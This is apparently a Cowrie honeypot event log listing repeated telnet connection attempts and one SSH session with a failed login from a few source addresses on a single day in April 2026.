{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":57742,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d6172e4743e","protocol":"telnet","message":"New connection: 160.250.202.248:57742 (159.203.135.109:23) [session: 9d6172e4743e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:09.966085Z"}
{"eventid":"cowrie.session.closed","duration":30.456101894378662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:10.490720Z","src_ip":"160.250.202.248","session":"5ecf433e33d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":33454,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a6535f9d272","protocol":"telnet","message":"New connection: 160.250.202.248:33454 (159.203.135.109:23) [session: 6a6535f9d272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:11.655872Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":36792,"dst_ip":"159.203.135.109","dst_port":23,"session":"775f12ad530d","protocol":"telnet","message":"New connection: 160.250.202.248:36792 (159.203.135.109:23) [session: 775f12ad530d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:12.958906Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":36852,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a2c58306313","protocol":"telnet","message":"New connection: 160.250.202.248:36852 (159.203.135.109:23) [session: 2a2c58306313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:12.981607Z"}
{"eventid":"cowrie.session.closed","duration":30.62641668319702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:14.611600Z","src_ip":"160.250.202.248","session":"6c819b4998f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.898316860198975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:14.873540Z","src_ip":"160.250.202.248","session":"9dd12d224b29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507888078689575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:15.479772Z","src_ip":"160.250.202.248","session":"ec1f0a606879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.496320724487305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:17.470517Z","src_ip":"160.250.202.248","session":"4f88cc64e568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":49322,"dst_ip":"159.203.135.109","dst_port":23,"session":"439e4fd5c3b8","protocol":"telnet","message":"New connection: 160.250.202.248:49322 (159.203.135.109:23) [session: 439e4fd5c3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:19.010767Z"}
{"eventid":"cowrie.session.closed","duration":30.520484447479248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:19.484511Z","src_ip":"160.250.202.248","session":"fe3cc622e8d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524555444717407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:22.498998Z","src_ip":"160.250.202.248","session":"23ef131a7ae8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":57250,"dst_ip":"159.203.135.109","dst_port":23,"session":"606248cde903","protocol":"telnet","message":"New connection: 160.250.202.248:57250 (159.203.135.109:23) [session: 606248cde903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:22.547379Z"}
{"eventid":"cowrie.session.closed","duration":120.00133442878723,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:23.344368Z","src_ip":"102.135.170.60","session":"a9de7864c0c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":59670,"dst_ip":"159.203.135.109","dst_port":23,"session":"7aa720bce439","protocol":"telnet","message":"New connection: 160.250.202.248:59670 (159.203.135.109:23) [session: 7aa720bce439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:23.642953Z"}
{"eventid":"cowrie.session.closed","duration":120.00126457214355,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:24.062068Z","src_ip":"102.135.170.60","session":"5d4fb1d7b936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":60804,"dst_ip":"159.203.135.109","dst_port":23,"session":"1776e5f3921e","protocol":"telnet","message":"New connection: 160.250.202.248:60804 (159.203.135.109:23) [session: 1776e5f3921e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:24.102286Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":60812,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a20739a7e26","protocol":"telnet","message":"New connection: 160.250.202.248:60812 (159.203.135.109:23) [session: 0a20739a7e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:24.108769Z"}
{"eventid":"cowrie.session.closed","duration":30.520498275756836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:24.475827Z","src_ip":"160.250.202.248","session":"70538324a2e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.604981899261475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:24.570149Z","src_ip":"160.250.202.248","session":"2054f053e1b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00183415412903,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:25.326953Z","src_ip":"102.135.170.60","session":"bb7b4287724d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":40866,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f40a1d7b3f3","protocol":"telnet","message":"New connection: 102.135.170.60:40866 (10.17.0.5:23) [session: 2f40a1d7b3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:25.895017Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":36982,"dst_ip":"159.203.135.109","dst_port":23,"session":"c28ad5dc5990","protocol":"telnet","message":"New connection: 160.250.202.248:36982 (159.203.135.109:23) [session: c28ad5dc5990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:26.096901Z"}
{"eventid":"cowrie.session.closed","duration":30.35344362258911,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:26.470075Z","src_ip":"160.250.202.248","session":"faa929e48f81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49727463722229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:26.480708Z","src_ip":"160.250.202.248","session":"1478a44c41a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":41154,"dst_ip":"159.203.135.109","dst_port":23,"session":"61eedba9c116","protocol":"telnet","message":"New connection: 160.250.202.248:41154 (159.203.135.109:23) [session: 61eedba9c116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:27.994807Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":40890,"dst_ip":"10.17.0.5","dst_port":23,"session":"78444ce7732e","protocol":"telnet","message":"New connection: 102.135.170.60:40890 (10.17.0.5:23) [session: 78444ce7732e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:28.237192Z"}
{"eventid":"cowrie.session.closed","duration":120.00132632255554,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:28.287261Z","src_ip":"102.135.170.60","session":"d55f21228cb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.500075817108154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:28.477342Z","src_ip":"160.250.202.248","session":"5f5b5022ae80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":43468,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d3696d4ac0e","protocol":"telnet","message":"New connection: 160.250.202.248:43468 (159.203.135.109:23) [session: 2d3696d4ac0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:29.008221Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":40924,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7c2698dc28b","protocol":"telnet","message":"New connection: 102.135.170.60:40924 (10.17.0.5:23) [session: d7c2698dc28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:29.020699Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":41090,"dst_ip":"10.17.0.5","dst_port":23,"session":"012332c5eb53","protocol":"telnet","message":"New connection: 102.135.170.60:41090 (10.17.0.5:23) [session: 012332c5eb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:29.511459Z"}
{"eventid":"cowrie.session.closed","duration":30.597164154052734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:29.579232Z","src_ip":"160.250.202.248","session":"f872036719d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53969693183899,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:30.508365Z","src_ip":"160.250.202.248","session":"d574c16a3bab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72053098678589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:30.762095Z","src_ip":"160.250.202.248","session":"573d2f4803b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":49782,"dst_ip":"159.203.135.109","dst_port":23,"session":"33111cccb0de","protocol":"telnet","message":"New connection: 160.250.202.248:49782 (159.203.135.109:23) [session: 33111cccb0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:31.965332Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":49868,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fb0828699e3","protocol":"telnet","message":"New connection: 160.250.202.248:49868 (159.203.135.109:23) [session: 9fb0828699e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:31.998227Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":50730,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbc7bcc3f52d","protocol":"telnet","message":"New connection: 160.250.202.248:50730 (159.203.135.109:23) [session: cbc7bcc3f52d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:32.390670Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":51964,"dst_ip":"159.203.135.109","dst_port":23,"session":"7844e11c5217","protocol":"telnet","message":"New connection: 160.250.202.248:51964 (159.203.135.109:23) [session: 7844e11c5217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:32.959852Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":52072,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cc544d1c352","protocol":"telnet","message":"New connection: 160.250.202.248:52072 (159.203.135.109:23) [session: 2cc544d1c352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:33.005443Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58346,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d1d3a744d89","protocol":"ssh","message":"New connection: 159.203.92.129:58346 (159.203.135.109:22) [session: 8d1d3a744d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:33.189918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:33.195108Z","src_ip":"159.203.92.129","session":"8d1d3a744d89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:33.199987Z","src_ip":"159.203.92.129","session":"8d1d3a744d89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"1","message":"login attempt [adam/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:33.211410Z","src_ip":"159.203.92.129","session":"8d1d3a744d89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.520721197128296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:33.481334Z","src_ip":"160.250.202.248","session":"c37dab8b2006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:34.243229Z","src_ip":"159.203.92.129","session":"8d1d3a744d89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.512376308441162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:34.471589Z","src_ip":"160.250.202.248","session":"34a122b2b915","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":57450,"dst_ip":"159.203.135.109","dst_port":23,"session":"35a96af13475","protocol":"telnet","message":"New connection: 160.250.202.248:57450 (159.203.135.109:23) [session: 35a96af13475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:35.434304Z"}
{"eventid":"cowrie.session.closed","duration":30.274219274520874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:35.475444Z","src_ip":"160.250.202.248","session":"9b81d766a272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":60484,"dst_ip":"159.203.135.109","dst_port":23,"session":"69e6c14f53ea","protocol":"telnet","message":"New connection: 160.250.202.248:60484 (159.203.135.109:23) [session: 69e6c14f53ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:36.822830Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":60908,"dst_ip":"159.203.135.109","dst_port":23,"session":"87cadd86805e","protocol":"telnet","message":"New connection: 160.250.202.248:60908 (159.203.135.109:23) [session: 87cadd86805e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:36.983198Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":33944,"dst_ip":"159.203.135.109","dst_port":23,"session":"8263aa415869","protocol":"telnet","message":"New connection: 160.250.202.248:33944 (159.203.135.109:23) [session: 8263aa415869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:37.571926Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":34834,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1e0bb03c256","protocol":"telnet","message":"New connection: 160.250.202.248:34834 (159.203.135.109:23) [session: d1e0bb03c256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:37.963331Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":34836,"dst_ip":"159.203.135.109","dst_port":23,"session":"98652fa7393f","protocol":"telnet","message":"New connection: 160.250.202.248:34836 (159.203.135.109:23) [session: 98652fa7393f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:37.967590Z"}
{"eventid":"cowrie.session.closed","duration":30.501662254333496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:38.489663Z","src_ip":"160.250.202.248","session":"ea3323e1577a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":36902,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4d4ae1c4b8a","protocol":"telnet","message":"New connection: 160.250.202.248:36902 (159.203.135.109:23) [session: e4d4ae1c4b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:38.959180Z"}
{"eventid":"cowrie.session.closed","duration":30.573410987854004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:39.545978Z","src_ip":"160.250.202.248","session":"6bf6f5c4ccca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":38912,"dst_ip":"159.203.135.109","dst_port":23,"session":"1218315fa922","protocol":"telnet","message":"New connection: 160.250.202.248:38912 (159.203.135.109:23) [session: 1218315fa922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:40.028268Z"}
{"eventid":"cowrie.session.closed","duration":30.51509714126587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:40.481120Z","src_ip":"160.250.202.248","session":"9d6172e4743e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":43006,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a2f13899b2a","protocol":"telnet","message":"New connection: 160.250.202.248:43006 (159.203.135.109:23) [session: 2a2f13899b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:42.006701Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":43112,"dst_ip":"159.203.135.109","dst_port":23,"session":"352ee742335e","protocol":"telnet","message":"New connection: 160.250.202.248:43112 (159.203.135.109:23) [session: 352ee742335e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:42.059180Z"}
{"eventid":"cowrie.session.closed","duration":30.822049617767334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:42.477786Z","src_ip":"160.250.202.248","session":"6a6535f9d272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":45002,"dst_ip":"159.203.135.109","dst_port":23,"session":"12f0be2d392c","protocol":"telnet","message":"New connection: 160.250.202.248:45002 (159.203.135.109:23) [session: 12f0be2d392c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:43.041876Z"}
{"eventid":"cowrie.session.closed","duration":30.503127336502075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:43.484569Z","src_ip":"160.250.202.248","session":"2a2c58306313","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68115735054016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:43.639925Z","src_ip":"160.250.202.248","session":"775f12ad530d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":46932,"dst_ip":"159.203.135.109","dst_port":23,"session":"a001c5e35bf0","protocol":"telnet","message":"New connection: 160.250.202.248:46932 (159.203.135.109:23) [session: a001c5e35bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:44.022943Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":48266,"dst_ip":"159.203.135.109","dst_port":23,"session":"daa82f1d471a","protocol":"telnet","message":"New connection: 160.250.202.248:48266 (159.203.135.109:23) [session: daa82f1d471a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:44.751768Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":48586,"dst_ip":"159.203.135.109","dst_port":23,"session":"10fd8b99f11c","protocol":"telnet","message":"New connection: 160.250.202.248:48586 (159.203.135.109:23) [session: 10fd8b99f11c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:44.890989Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":50832,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8afc3ff1cb9","protocol":"telnet","message":"New connection: 160.250.202.248:50832 (159.203.135.109:23) [session: b8afc3ff1cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:45.989840Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":50882,"dst_ip":"159.203.135.109","dst_port":23,"session":"0588293c7cf2","protocol":"telnet","message":"New connection: 160.250.202.248:50882 (159.203.135.109:23) [session: 0588293c7cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:46.007560Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":51970,"dst_ip":"159.203.135.109","dst_port":23,"session":"f71e58501408","protocol":"telnet","message":"New connection: 160.250.202.248:51970 (159.203.135.109:23) [session: f71e58501408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:46.536746Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":52938,"dst_ip":"159.203.135.109","dst_port":23,"session":"de4e5455a681","protocol":"telnet","message":"New connection: 160.250.202.248:52938 (159.203.135.109:23) [session: de4e5455a681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:47.030659Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":55050,"dst_ip":"159.203.135.109","dst_port":23,"session":"583c7e8cbe12","protocol":"telnet","message":"New connection: 160.250.202.248:55050 (159.203.135.109:23) [session: 583c7e8cbe12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:47.966667Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":57288,"dst_ip":"159.203.135.109","dst_port":23,"session":"9555667e79c2","protocol":"telnet","message":"New connection: 160.250.202.248:57288 (159.203.135.109:23) [session: 9555667e79c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:15:48.959854Z"}
